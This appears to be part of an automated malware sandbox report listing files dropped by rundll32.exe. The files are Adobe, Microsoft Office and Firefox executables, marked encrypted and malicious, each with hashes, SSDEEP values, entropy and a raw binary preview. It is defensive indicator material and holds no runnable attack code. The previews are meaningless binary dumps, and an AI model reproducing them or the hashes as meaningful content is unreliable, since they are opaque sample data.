SHA-256:	83A50B76BEC1CF6DED5D1ED7EA4AD68AA547345B3A67DAC2328FE87507277249
SHA-512:	3F1A563C5682FFEBCF58647F3591203C1ED6862C2AA70523D04387860D33615EC8B0C8E9834FDAE2B050F7A8EA83D267584292F61C687D9C8F30C662828A0F61
Malicious:	false
Preview:	.!.U..........q.J!\.....Z..(f%..1..X..Kt..o.Ck .\.......^w.H.f.&....qr..,.f.fM."O2l....8E.%.S.. mO\....4r.e`...Tm..T..;.47.I...s....f..'./.f......'.`F.8R.....M.N..(+.78..6...~....../I.......8$...).5K9.p...3.....\.69.c..^.....s.O...{.B#.......]..60j.a..7..!..}..C...E\e...s...D.kj....'S.`'M+^}Q..X......M..>U...D...l......^..m_>rGC.7.4...._........\...0.FU%H..i.E...B...9.n.?K.O!.....~....y.b).R.V...b...1.i.....a.......G[.g]..../r...ZeYo...n.v..u...W.F.,%_..I....JD.r...9n].p..v..S>5.._.P.w...C....3\|u.8..v?.........N.4.9..X^.\% .}...2..U.~1(..y\|.....].\...wo.8...&..~8.....]7f.I.h.-6ro..0U......I..A.D@.+....3?k..%.K...2..p<vI....).L..,.....Z.k""{BA....@0...7..Ot.Xo%..X....."....!....n....,4..J...&C..<M..>d.E...q.j..C.>....47:h\|....O...{6..t.N.5.M..%..RVV;@>..../?..m.F..i}...L....g.............5.....&.B.9.xp........A`......[.....np.`.B....Zf.@.waH.........re..a...W.W.J.Y...>.8..h..a.x....NG.HZ..V..\1..W..c..>^....P.o.jt..(.bU#.a.L.../../.E

C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\32BitMAPIBroker.exe

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	110560
Entropy (8bit):	7.998286829647029
Encrypted:	true
SSDEEP:	3072:0B+jAn1ay4WD8V2lytfMIQksCpCr4e2Ue:01x4WD8sdt/qw4d
MD5:	82C74931DD7053EE7D699F368BBD3A47
SHA1:	80A8DE131D2AB3F85820BD424473C01C69EE936B
SHA-256:	ED9E1700EB8EF2CF25AD8A22F9A06DAD2676AE158361A3601799D9950F02F6C8
SHA-512:	AA4C9CA5E18744AE54F8C102BBB8F66E768C1A7FE67F378F8BBE9C5591F90ECA5A2B393950ED7E4812832667DE5A2A299625DFBF62EF25DA729085CACE70FDC4
Malicious:	true
Preview:	]..'.6^...2.[..J .M...........L5.v$........D....r.......b...q...D.%..s.hu!.Z.L{......B...d.U{y.....6#...]E..\|l.:6........JH]./..]B...x......4..t..].Xi6...~.".vl.w._=:..'.;..nm...r.f.-.....l........&.&..w....@S.R.dyS.]x...\|.6.......d..U.e...q..K.uR7.....J..(.".6..b.R........&....."b.....I1.:..."...\|...g...YE......f..e.M......,...W.I....2T..lJ.6d....@.._;V[.e...b.%.Z5E..d....o....g....6...V..E.M_$l...e..W;.4j..p...}....K.~.#...H....B....s...o..+.Z.5Q.....4{'n...L.....[.^.......e..s.'?^..,4..............MeV..$2`....n2B.GV...~.R.U2lI.n=2C..v.z.v.{.Z..G.$.A..m)5J...Z.7L^..X.<...%w.g.'....\|Hk..i.S2X5.P4.>.....z9.F.rM.....(s.~CH.u.E...:.....U7.i..b9_.y3&^...1...........w&G.;.x....0*,c.o.#T...g.8..{1.E...b....M...G..`@A..gT....Cs.>.<Z..Z....S...7......<.1.M.At`.X....QEC..~.G.)1~..D......V\|..c..,.i...; ...P....8p.>.X..?...C.].....&..5.\|.=.f..RP..aZ.jD...C..&:....}.Qnd....S. .9...U.._b.........:C.;c&V..1..@.M....

C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\64BitMAPIBroker.exe

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	267232
Entropy (8bit):	7.999259844110794
Encrypted:	true
SSDEEP:	6144:t+u4yLW2WesVvLm/fS5OcF+59l4U70Jcny4F9Id2lbnE5o8FeW4b27jQSRg5s:t1zWeQHD8X0JQXIibnE5rPF7nJ
MD5:	3E627AA9997934875E2A4257727C5BB6
SHA1:	F8F6884C44ABD5DECC39D3401B54C35F3E3E3370
SHA-256:	320498A72269B128E598956F6C921D8CCCD58AC33B296C120D04F17ACD3FD4CA
SHA-512:	0917C1C6A6F43F4B8418C2256011001FEE1114B946697900094BC745FC37F9E4D6D3D691D51BFD90F0F65BF7289C8158663C49CE98F1992B5E842A654ECCD0A1
Malicious:	true
Preview:	]..'.6^...2.[..J .M...........L5.v$........D....r.......b...q...D.%..s.hu!.Z.L{......B...d.U{y.....6#...]E..\|l.:6..'..=}.1....... qO./,.r.....s.P...n.....J..F. ......G..$y.3.m]...N\..+..5n#..Kin....Vk>J..E..O>[C.CD6..s.V.SW..[.&..aQ:\|...n.uw..{g0)u..Pu.@...x.VK..JwV..%.l.Q.'.hd.!..-.G.L..D.M....-.~......+:/..As.........4...[....z....SDK....!...eX(N4b..@-Zm.B.......Hw._.UZu.WV...V^._.1..'v5..I1.u..<....d.......'.u.(...?..;...f..%..3..p.....O.=jP.._...,..$.Q.Y\|/<.YI...\|.,._.>V....X>2].W..)l-_o.si.zj^\.{.y0........Jn ...[..AF......ND8......}...O...o..V..+t.>.J#3G_.%..B.,..(:.-.H!..#}.b&.3.\......~j.#...r....Z.~.q...T..D^..S..x,\....0`.../d.......cM.?....T.v...ht...Y..T.K.H..(.......zi....a....O1bq....1.w..&.{..Y.`.&.g..&...G_..$......Y..\u.....4...k..I...%.i(...Fs.Y.....pf.......z.W0.J....]..9.. 9..l.....Q.F`.0.s.k..r..L..p.....(^.d..j.G..F.v^..X....^.7.\|]..5R...........5......B....0..z..5.u.7..........`,?.".B%..E.BsW*... ...9....s

C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\MSRMSPIBroker.exe

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	531936
Entropy (8bit):	7.999674101069019
Encrypted:	true
SSDEEP:	12288:5nhgGQlkw/arzmk1vywVnZDoRGY18MJAGECUfi/GFS4Q6cDnOzxqj:thzYkLmuVJoRGTPFS4nVdS
MD5:	B9850544BBD555ABB26EDC2D2424E3CB
SHA1:	4CE33C7F6B8157B9AA10BDC1AD224E082560839C
SHA-256:	BD3B758CA8928C0BB8205CD2A1C7501E75B09BE0F3BFCA56ABC295244CC82794
SHA-512:	9F574153CFF2FE65928ADB918EDCDF4848BAC255F42CDEE115DC601197B79F78EF77E2FE2D5DA8CD413AB7949D15EF19A9C0E84B2B534AAA98EFE807B0C1A8DE
Malicious:	true
Preview:	]..'.6^...2.[..J .M...........L5.v$........V.[N.... sg.".Z...........H.B...B..P.kIq..-......5&.[Ywlj..R.c...b.&...K.m.&vVxaIHb...u..o../M...h.R...m....\|.R...=@l=5..y....O..........d....j.R.m.H..;T......f..\..4.v..p..8.s..(pfJ/...0H.8...:.._.....g. y..IN."...[,5..2.......$J"N...!r.o..X..4..3..k7o......Y....#..6......7...$.o...i..........k....vc.... .[7p...=!....:....../B.LW.bR]%.........<.p.$0.?~.v.y..ida...D.ZG%+....$\|.....u.........j..o.\|.e..A.....l...4.Z...8...wDf...J}.....']?............/4.....{...rF..u'.[W......Z~......>2...p<...Q@.U.+......-F..#......~....A.6.N....r.6.znmK..i.....N.&!.n...OE...b..tu/.d..G...8...X....y(...;.0.P...muF...1....Y&.c%8....F&..I..J.......z.<..n`....b1o..HU[..T..k.............L...sM:....L..$H..X..wk......7.(..,H...Y.Em.......(>.=/"~.Pd.#..H..j.hg/..3$/.gy=M:CP..Qt.h.J......i&>..%L...ZxJ......=.?.-;..>......2.....^B.......2.a.....9%....r.{..(.=.%...\w.........S.........DvG.....1......g..n@.-..Sv9./.o5.R

C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\setup.exe

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	643552
Entropy (8bit):	7.9997262073717135
Encrypted:	true
SSDEEP:	12288:PTffPI8tswMJTeOrAnwshq0xhZbrZkiTaDryrPCGaPj11Vi+pSPkDCnkvUA3H9Tp:PbHpsDJTePnwAxPbOgrsj10MDCjA99io
MD5:	04B52BC637E73AC33C35D3A75537EEB5
SHA1:	E9BFBE0C82C2449F9B6951EEB9DED03B97263CD9
SHA-256:	3B4D94105335D3859E934491C52056E15540CB4B3AA7373E20C96EFBA2A5BC8F
SHA-512:	C57F9A79133E1A7D39D3FD746BCE26F84F73997BBAA229BA93659858C0A36119716118A4CE465C6DC9BF51C6B166F95D92A5541269DC268D93E5785CA375A9A7
Malicious:	true
Preview:	:.bu,..{..yN.'e.d............#;...Y......z.$.u)...J......J...V..r\g>8yA...D4m.._lb.x........>g.x...aL..wV...Zj .=.eL..K...,..P.Ah+.O~3.......6.6.[V.+..}.la.o.).....V.{..R.dL`....d.\`.+...G......)....j8.w...x..N,..:[..H=....7.u....s.r...3..16.c.H.3]..S.e%.u.&:......U/..$...u....%.l.Jm.T...j.Pk..w.P.f.t..JNW.T.W."$.dE.V\|....F.7........^7..i)........K9a=\|.o&........a;.dh.......j...Q...`$_..H...'..dF.8#l0\./......f...s....f..F..I]...4...^........o../..{...\|.c..At.i.dGG.....n...&...Z....E..DS...)aV...;.0....o..7.\|.J=....._t..U._..\..i..........n.Q.f.W....".l.s..[.Bf.(?.6w...-.}P..~L..u.%m.Q...qJ.`....u.U......%P....#$4x...}...i..^.......;.o6..V!.._.v.].....D...R.(.........~o..Ac...G..n..fJ.LD.p.<...)D>7....w.L8..../.......1h...ieQR...k@...A.z..]...R!d.D.....8H...Ob/9Np....o.&...@-.m.=..M{.xi........c...tYS.S$.=.$$M.j....J...z...........v..7..K.T.3(.....mf./EPt...s..;.W..l...e.e......>V.......%T.?./m...h....j_e....6D.....t....H....R...u.gq..

C:\Program Files\Common Files\microsoft shared\ClickToRun\AppVShNotify.exe

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	267760
Entropy (8bit):	7.99935062418818
Encrypted:	true
SSDEEP:	6144:qtg8zj8ZYwTuJKMFSxXIoRcVq0rkAiW1/5MNd1A8:q7QPyKMFQ36VvMC/5+d7
MD5:	952064332989914BD42F258C485D790F
SHA1:	FA29D363541B40724799D752539FFE4EE792F6F1
SHA-256:	9B193FB5D124BA81CF5F53DEFAC3E39DA61D3A6705C958BAB5F069E0AAF2B447
SHA-512:	9B851C0C60DA6D15848CAAE30881161DA96C6D8FE071381BFF549A59F0450ADAD11F8B7A078390FBC58A139BE260C928110CE3D114CE9B2B1C5A7302D24D9590
Malicious:	true
Preview:	.S.N....dA............${V.K.k]..j .<6.G...XU'.....C.J.1<...5..Cf.7.a..=.e.@m....:!g........+.1.P.x....".\|.t.t...sJ.x.$.Q.6\|...,Ym".kf..S..^....3.O).,;..e...\|6...z....r2...e.W~.....,..@..M......~...)q......qB.]C..TV.+0&...6fi......ge~..i.$.Dj2$.....i...r%......\-[.^....<.S..<F..u..,...]X.1...O%Z.3..Y'....4g.k.)...@C.eKq.s.p0&..,8.........@.......S;...8..u./T..P....m...[..gE.......M.pC......>....z....Eo. ..vkem...<..i..y..RxI6'.r..)..S....1......K..#h...E..M.0/.a....]....p...T..lQgI..+...{...O....G9..`. ..[..=...S...i...8..0C...Y..)..e.Q.hg.....(...z..@.P..b.qj....nIH..WJ.>._... ..A...Jj!.z........NM...7.#...:cj.u.6...J.l....=.C..oK..T.apV<<.P.@.....dt..>f.u\.L..R ...@.d.F.]...4,...j.6S.-W1...&.,...Iu.....D..=........n..........}W.uB...g...X:.Y....mT..n...TO..d.N.1%O....{....G......;...Y...#4F....2....R....`....#.:...$;...Q.V)!..?...y...E....u..*4.zBF[C.U....Yx..`sX.....o.V.\.......9..).....m.l"....M+...\|x....x...Q.R.:R.\|.........i.

C:\Program Files\Common Files\microsoft shared\ClickToRun\InspectorOfficeGadget.exe

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	49088
Entropy (8bit):	7.99659073773118
Encrypted:	true
SSDEEP:	768:5okcHr8gcPGYmuseVN/s4RtwIzxCtI18RilUNV9kCEoy1ZX+U8lFhY7NpSf8Buts:5QHr8gcPBmHk/lRtwINCt48Ril/cSw9O
MD5:	DDDB6DAFA9CEC6A01E5EFFFB24E36B14
SHA1:	4A7DA851B3016E9E5CB98A9586B20282039694E3
SHA-256:	5B74B7AA53B10548290A8A1450681558E37F38C871B2F5EBAC02B663B14F48A9
SHA-512:	26FF2D8CE4D015EE8AC8212ACF79A66C57107BBCE731CA5B28DF23053BD9692416C185C9385E9627F70601F1514455302FFF10E056AD47804BDE70031B21D34F
Malicious:	true
Preview:	]..'.6^...2.[..J .M...........L5.v$.........slH.......C..r.E`......'.T4y...m.s6.Sd.7..G......7t1.q^.o..f\|J.2.....F_B.........-..0o-..\..wl..l........I...=...^^...R.f...6.Z.7....`..S...7,W4....AvU.:..5.2..-...1I.6..G.../2S.....`....f....O..<....2..k...q.}G.....+.d..-.YY..K........hcon...u...#..&U@0.`'d.....B.5...\.?....c..w..s...r.......vA...B..a...1.G...2~ga`>...q..-.H....D..f....`...]....T..U.]V..-.7....F......_._y4.^\|c.l..7.!..dV...~.W5..=.....0r._q`zgm.^".2.......Xo.<l%\.l.......f...%6.:...\|. =aT...fU..[..s.e.%&.....gyr.....$....nV...d.k. /.....F.l.......`.{;.$....'....&...[..`M.O3c..JP..(J.)q..H.V.)...[d.bp.)^-s...k.z.+7H.......3.U...D..^.~5.....#..~.j.%..$..k[....d.._.z&..}S......:".V...A.~.3]....E.jW/...l.'1S..C..:.I..'.M2.a...:g...+m...r...^......M.LG9.h.8..h...F...&hw.'....o..k".9P_.+&..U.4....Q.......<mLb./.o..z.S .9.^O...e.0rJ..=..S.\|..&*.M...............)&.pd.l......E...5.......D.....5A!QQ.;..b3...(...{.#..7.M/<..

C:\Program Files\Common Files\microsoft shared\ClickToRun\MavInject32.exe

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	195040
Entropy (8bit):	7.998959282176023
Encrypted:	true
SSDEEP:	3072:leVn2rwZtbMnlxTSWyxTWCR9X5G3WbyrNolc1lPV+e3L4UUWdwdwyAeL:leV20Zt4l5Xn3VjPse74u3yAeL
MD5:	9CC88D12808344F4626D4764AEEFB6BE
SHA1:	26A5BD07DC6EF8807D3611ECFDC909318A747F95
SHA-256:	4D13A4E22C1BFABB9367FB58B80BEBD6810424675C364DE33902600BD84F9BF9
SHA-512:	F417F61D508E992FFB61C31BAB9488247E2B7D03916527951CCF2304D8F8E362D4CC2578C9F0C11A80831BBE15AACA0350B22784EC73A53FE813BA3EED9BDF22
Malicious:	true
Preview:	..0.._....y..q...Z>.lc{.u.<.....\.s.MN..HU.j...m..vX.......b...m#........7%.........O.zG.$....).P=5w.b.A0...P...Ke.^.s......@..W....1d.n......4......l.o.]6..1.......?......>..I=....hy-.....~.`~........).).yK...d.go3..4.).X.o8...[...A\.Y...C.o..?.....:.9\|:......=....~.z!<...D.9.2.w...].......8.........&.H ........R....Z......1-..Y'..@6...pk7.,AL.....k....^q..I.._.....jF^.W...d.<...K>..k.>tj"hJ.......mwtyr.....H.......;>.lR........2.[%.......f.;.'K..]KR...P..&.n..........,...g...... ...3.K.....^[..e..q...........%..i...(......<.R.I.XY.......8..........j....Ma..q.nv.A.d..V........9..^C..-(..F.._p...'../^.qi$..R.U$.t.....p'.p.....`.z....]}L.....K.........}...@.=)A....E.\|{.Pj.\.4\|./6.l....:I.7.u5 3....t..B.".G..=`.k......V..}.5.,&5....2.Y...U....B.F..X7.[....&..lnw.2/...wp5.]...r.......2X...E.. \5.O].S...l.F`,.`..k..oqf.Y(.......k..ww...O7..z8.G.zw.(.sI.:p..A....+.W.y.l.....>...7.c.....y.ko(..H@".!.f.y..%......%On7.=B&.S...ZgU.i.\..UZ..

C:\Program Files\Mozilla Firefox\crashreporter.exe

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	259504
Entropy (8bit):	7.999347536244539
Encrypted:	true
SSDEEP:	6144:SL5y+mfdn5kAybbjpPHryoPAAeQ1S9Y0SSLGHzDaatXAyiRO+mA:SL5yFdO3pH2XQF0SSUzDptXA1O+mA
MD5:	D9290C403B27DBD99CAF40FD8FB95AF2
SHA1:	0FDD2F0D97D9AAE9E08D941F8FE785E7BFD593C8
SHA-256:	A935CAD30250EBE2B92E6B5E80314150A780D753FC4E02490527523B9D4E0E2F
SHA-512:	4C7AFABE0F48D0594A0FAD4876E90EDCE4EDA3910B94348C9A9ABFBE8C8D186960EEC53EB14E9261D331C2B51172542A888BBEFC0005DBDF57AA8BFF806613C0
Malicious:	true
Preview:	R.f...;.)..lG.....Q$+...s{..q.`<..m...P.T...>.._.... S."o$..H.[G...`.S)X.......r+/U!...!DTk...e.R.4....%2.P...o......:...%@.TZ.c..8..a.@..N.L..[.?E-B..G...E.f v2..\|.tn....u...@w.#\..l=.hl..@..-1i.....1H..;.......$....~+zY....._.p..]..#....@:g.p%.8..1.B'..c......%~.{..Zy%Y.8.#$/..pA./BW..G].t.._..=S.9.H..\.`..].R.....F.5....W'Z.4..aq1..<....+.5..wO.m......,....X0.z....vR...P..vC..G7.......W.'.zk.R..z..(LU..$.ohb...7.;.g..D....C..:.a..j......X{#.g.G.6..t..Y....PFrk.>C.&...ZcD..g1...+.Q..]u..[..$V...D.9.8.A....c.W..7...-......M...@...*.#.."/.~..\....V.hG#v.&Z...E..cZC$.m..b.nV...P....].....I!.W..\..5...7C.q..."....r..e... .#5^....S9..,UpD;.....(......\|....-&..XMwi./i..\|j.QH/.P....d....X.}..Q...St...T..3.......c2.[.]...D<aD.-....R_...&Q.j.......0.....L...~>..Kb~06.....j.@[..."@~..2A......".....-7..n.}.a.3nU.[]&....x......z......"....3.^..@....t...p....<.....<.l....+t..Y.r.c.7u..c..fn.Ac.a..%..v7.f....k..p$[l....ln..'u..{.....Z.Z(vp.....-....

C:\Program Files\Mozilla Firefox\default-browser-agent.exe

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	717744
Entropy (8bit):	7.999753935648444
Encrypted:	true
SSDEEP:	12288:nSWPGlHf1w2szZaJ5LZ6WRg3l2N9+GnvBCtsFlCqhBmwcJxAYTNiENFtzZ/LoSxF:C/1MzCf6WK4NUGJOsPCqhbiAYTNDzZ/d
MD5:	2D80FCE72F7A7AFDB3F8BE9D72C20A78
SHA1:	8A64E09E0AE9380C761ADEA0FB91F3B31488ED77
SHA-256:	BA8BE507CEC301AD0F8668FD982B57912F857D5D79FD0AD7E7974AA73A5060FA
SHA-512:	74707F1E35D938DDDB8EBBBAD0C366F019559F463E967A1486A977255C083D70DCCD5E6163CD06BFDD2BDE07FB6D1E049BDEADE9F0AE27AD8E678959DAD6684E
Malicious:	true
Preview:	..~...<....g).uf....Y.....5...V...U.\....e...3.UA..i....=.#..F~%m".."...v......U.....v.~w&62..i.;~.Z....]....."d}.G]......J.....d-.->...P..Oy....9.T.5/....t.R.g...k.,k..p\p.! ..Z.a..h....+.....>K.j.5L..x0k.k+#.0..X...._.+]."9..H.;.o.EV...._W.N..n..T.3.\|b=.\|...p..\|.~...........E..K.4.V.t.CC..pI".P.....f&&.......?".{$<..Q.n{./(..X.2/../..@0.i....................3..Z-.%..b..,x...X...^..!...5..jeY.u@7..&...'...8#G..D..t.......L.v.Y.......p........#F.P.e`./....t.0r@.0$B.S6.0zY..I.vl.:...b.......}%.6@.O./.&......;...Tcz...(o.P.B$e.....\..(....ak...u.S.$c.+...g.".:D9B;./US;...p.W-.....m;[....m.J..Onb?.>-...FN.i.0n.....0.r.glp...\...v....Uta.m.O.l..!]a...)<w.p.....I.P%@.?..).*.!NE.lx..`C..A.a....Zv.U.3...t..z.......Aur..V.o....9....=..+.......&8X.J..A[>..........{w..8.n.C....c...).....q3.[.z...I6....#..,...D..F\..~te\....]..I u.......gn...8.>X...........U@.2....9?..S.......ye.._.......8!./..j.xw....U.9..5..l.s..Xl-.

C:\Program Files\Mozilla Firefox\firefox.exe

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	676784
Entropy (8bit):	7.999774172959335
Encrypted:	true
SSDEEP:	12288:jdxlVuvZoavGbpE3GnpTjSwyhDotd4YikfZBPn+Cjcb1XIMcHd:xjVuWLpGGZjxwDotUIX+bxz2
MD5:	5657FC8E0B66515D8FCDFA4C9396670A
SHA1:	A2F8E50F3FA5E24AEAD77D67533CD58E3593942D
SHA-256:	BE79AFA216468B746AFBA09C193B6F4DDED40638CFA7F79F7993E8DF4FF7BD1F
SHA-512:	6BF5D06B318E6B878FE4187EE96626F5B08EDC71C6FD2A1D0EAD75D298F63AEBE8E23136B4D62CB2D543E8D68C975C853D94BF12C33FD16890C2997187A0EC3F
Malicious:	true
Preview:	..~...<....g).uf....Y.....5...V...U.\....e...3.UA..i....=.#..F~%m".."...v......U.....v.~w&62..i.;~.Z....]h...;2.7E.+...P.......w.,...?B.+...[M$..@P\..$.....E1...y.......%...o.<Y....1I.\|}G.R..hrt.....?;bh.#p.-.%V.4....2D....&..`.G..".>...t#p.&..h.!u.>..J..Np+#..D\|N..`....).'....:.G..{S....nw.K....TB.(?z..psI...~J.6.h5......D.`...i..!O0....w....d..U.@.l..CE..%.....0.5.._=>6..i..\Z.2..aD..._s.}.......E.\|n.q.....m...d5b..G>.........@......^.@R>`......=1~....,.../.....2T?y..W.M.X....)&[..(..>.o.)...N<..C....\:...^'...Aw_Y.Y..i....G.....q.....HL.jJ(....0..>..3.tJ.0.L#s......S.k.......5...c.....Vnx.....}....7.H....>t[ \|[.*.3......V....m...#.2D3.0.Vo.,;Z.9....q\5.Z..Ly...N.X..Z.xR^1.[....w.y.,z.'B.G..].Zy.5..w...$}i.d.\..&.D...;.U.0.J ...WY.Q.2.2..n[.../.f.k._.D....Fd...On.....4.,...QwA.kPq6...t... e..oS. o.N.F.f&G .5].-.L~g...}..3A\|Z.Q.>.}.X...sMr..X....u..C..~7.OU..J/.......P..I.C.n.C.....VP..Oge...~.....6..Q...e._..?.........@.;.s.......

C:\Program Files\Mozilla Firefox\maintenanceservice.exe

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	239024
Entropy (8bit):	7.999292153280215
Encrypted:	true
SSDEEP:	6144:J5Uzdc021T9z5hcDnnqozZb2R7mjnyaB+TdIBE1SwHxM:AzyR0LqozZeoyaBmda2HK
MD5:	812101C2415185AB056FF94C0BCDADDB
SHA1:	83438DF06F70C178FF87643B147152D9AB654122
SHA-256:	8E9E3050947A41B08A6C4D9E893734DE5D77F5BDA5618F66266516E3D7B3C610
SHA-512:	39BD21E9074BF0D9C5192526048F49F574E6512CF381A93978278396AD6E890BBB8C93139D1388F23CC6A7DD841E34DB129478E09B63590C0B7D37D6CD97EB96
Malicious:	true
Preview:	..~...<....g).uf....Y.....5...V...U.\....e...3.UA..i....=.#..F~%m".."...v......U.....v.~w&62..i.;~.Z....]..K.T.R.....@..3.....KX}'R.E"e\..%C.._..T5...R....k......9.1H../D[.1...>H.....So.p>}Mwk...y..~na...6.I.TnH.N.m........`......$..z....._? ..2F..V..._..w....P.._.!..B).0.3..u!q.w...4.?..2....x..^.MD.a`...X..\.\..!....0..\0S..j.m..,.i....5..8<u..d..9y...q.am8j...V0D..(I......;.q).oX.N..Ke.l`...=.]q..0l.t3.j.%u.....K..(<..a.j......W\..b..7t"$.\.t....k...`O..u$.....=.p.}.i. ...pD1......X...8z.\|.S.-...c.ho.....t9$Duu...h3.....).J..p..H.....UV.y.D.g..{..f.....LO'.f..'[. ..`..6eN3GG.......s..7IB.........A......'..r.~w..'..BI.<.e..5.......u...5WL.....n...W.....M..Q...M~.N.......%P.g.......c.E.e..x.k.....t5;.>.S....-...F..lr.S.....\7.....X.a.......".l...<e.m..LF(.qQe...A...k2'(Co'.e....$w....5..S..Q.t.1.i#...u..._qS.&q..L..DB;\P..dX\.R/.v...}...![..W*...L...F.+..$D.U.......c..aU.?.h.s.7.e..c...Y.5...z.V.}d..J@.m..K!.......}.....CB.B6.:...t^L.nX.

C:\Program Files\Mozilla Firefox\maintenanceservice_installer.exe

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	188240
Entropy (8bit):	7.999103679178079
Encrypted:	true
SSDEEP:	3072:AmHXpBfP2KFCtKBTJ6cRgjTUOsUma25ghHbsCz0wB2kmDGgmoLXm0pYqBdBsG//y:AqXn2KVDRgjT/KBIzz0w5DoL20pTBd+L
MD5:	5C0162BDE811C6C07B81F66C5C03E475
SHA1:	178867B7B498E4402B3692D995E7A76F7F3F9FF2
SHA-256:	BA864D2B4F0EC85F34FCCE322D3AD7565E310660F8E8042DE92CA83F4CE4E9BC
SHA-512:	3B3553EBCDA7641D01C0F5D23F7F63F4D8BBC3D8F3B60B76E9C48F676DADAE0A693C6020BB7F0E3F6224C20217BD731C14903A8C4A9920720E6F6972DB0DFE45
Malicious:	true
Preview:	]..'.6^...2.[..J .M...........L5.v$...........(W.+.mn..^.._....>ho.....M1.Pb&.l...M..pkr...8...Q.O.k..V..g.K.^m.....3..`"P9wY..tWQ...s..v ..%.3U..:.....+S....AP....U=..aoa..y..<.f..#[.....y..P.b..al"c..'..q.,...4.....#.\\.x.n.....]..v.H.....+...]'...v51.1....s..Q..@VS.....M...qY.[d.Y..C..yw^..K.h......0..!..........>...X..[......i...-.dY\qG..F.x.+yG.....h....9t..(OY........G.@o..ET.... . X...2.P.2D5<....Z.\.t..p2....bb^......5>.......9K.X..3a.e.h.C.GWP.s..iy.o<..i..R...Q6...h....+....g\|..x...9.+,`.B..=....v.,..>kO.E!.L$.Hwu$...8....7w.G[.Cz.`..?.....\|......pU..`.m..{.!....#B...@.........i63..7.{..Y.V.......Eo... .{a........d_..~.0.....1...L...f.3K\.........u... ..^.Q.....\|.w..>&......J."M3.c..e.3#...../..f....l..3.".c...;..".'..4u...$....2.5.O....U.^..z..X....A..si..n.7....d..g......._hT........c^....-.z.f..C#..L..E...T..V...9...%I..\5.who.\\|.r4=.^......0.......]OK...\|.IOS.!.+.#'6=`l..._.u)L....%..5..M...T...9O...O.1

C:\Program Files\Mozilla Firefox\minidump-analyzer.exe

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	773040
Entropy (8bit):	7.999785665129382
Encrypted:	true
SSDEEP:	12288:aGYoNaNjYl9kyRuKHgmnlAhfu7esXzVmYcugveEIUsQ4BwS6Ng01tQ6PM1aFy5dF:ajoUNO9kHU1niBuiRNsUsQ1S+1tQ601H
MD5:	A2CD357332882A76BB7BA1149D63274E
SHA1:	926D2DF7C206213E2483C176CFF8F52805D23B5B
SHA-256:	A13EFFF4BEE56C605CB5ABA96B21DB0836032AA3D767057A922ABDB4E23E926E
SHA-512:	6FBB302736F892F1A89A81B99C6341059F722C8867EBEBA913D8D0D42B8F1B6792124A31A91E30AD396D30AA44A5D7A0E5A1619CE1C41329C9C09E5E2BE43065
Malicious:	true
Preview:	..~...<....g).uf....Y.....5...V...U.\....e...3.UA..i....=.#..F~%m".."...v......U.....v.~w&62..i.;~.Z....]....."d}.G]....M..\|..P..I....V...^6.l.....$.a.._..#q...V..=..e.....m.~..%b..r(.0._..1{.\u^........X.k.h..>tW....K5sX..:Z.....X.Rc.f.O..1.._H.a.~.......z...........x.....9.s.........`u~.....[ky.O..\|^...l..I.W>.....4i......t.......iC.......c...0.IL<.....9....@1H.F..t2..mt..cdl.dl.l9.H.W........yz.:...$.+...c.A..N.Z]..E........_f.7*H./..S....\|..r....{.+...B....'..z......O.79...f.....t....y...er......RY9... .....4..c...^....>.......,.....LT....%..c.G.....:......K.f.p\|....)...Ro@.].; ......,7(....K.{.a.."......YCXk>....].M..M........%.).O.t.F..#O>.h..,jE\..{......\|.....ID.9...Uf........ae...u... ....n..G..Ow..&v....Z...%....O{2.Q. r.x..<u..s.A3.w......."<.4.....p.O.H_..!.1.......MT......_.<k.^.~x....(..q..a.......E.=.q......[.g.A......c..KZN$...~..f(.....`.FY....$+..tuY....rBY...o-j.D..B...=V...R..J%)0$Q.....)..9....q~XSR..BOPX_.o.

C:\Program Files\Mozilla Firefox\pingsender.exe

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	80816
Entropy (8bit):	7.9978255303817285
Encrypted:	true
SSDEEP:	1536:0XhCXV+FhgQrigzgkcm0wo2NP5C8fEXIMsBYhkXdwuPbcqyapd70y4VbCMB3t:0xCF+knm0wfPo8fQIfBYhkXdhl0fjt
MD5:	0B93C2D5458BFCAABFFFB78DB704C61D
SHA1:	2DC47AA69F54D633F8B17C84F46592503B26F10E
SHA-256:	6957A5CF6B80E68601EB7986781620516D29FACC579D3EFE437F6E98B167FC04
SHA-512:	B196DD447D9D13046575E998B3AA737F7E20FFA45F0CD772D9982729A4E07D2311B61AE1012284AC8BDC18CAA6D88E28FC39E0ABF465F16418F5A08343FA913C
Malicious:	true
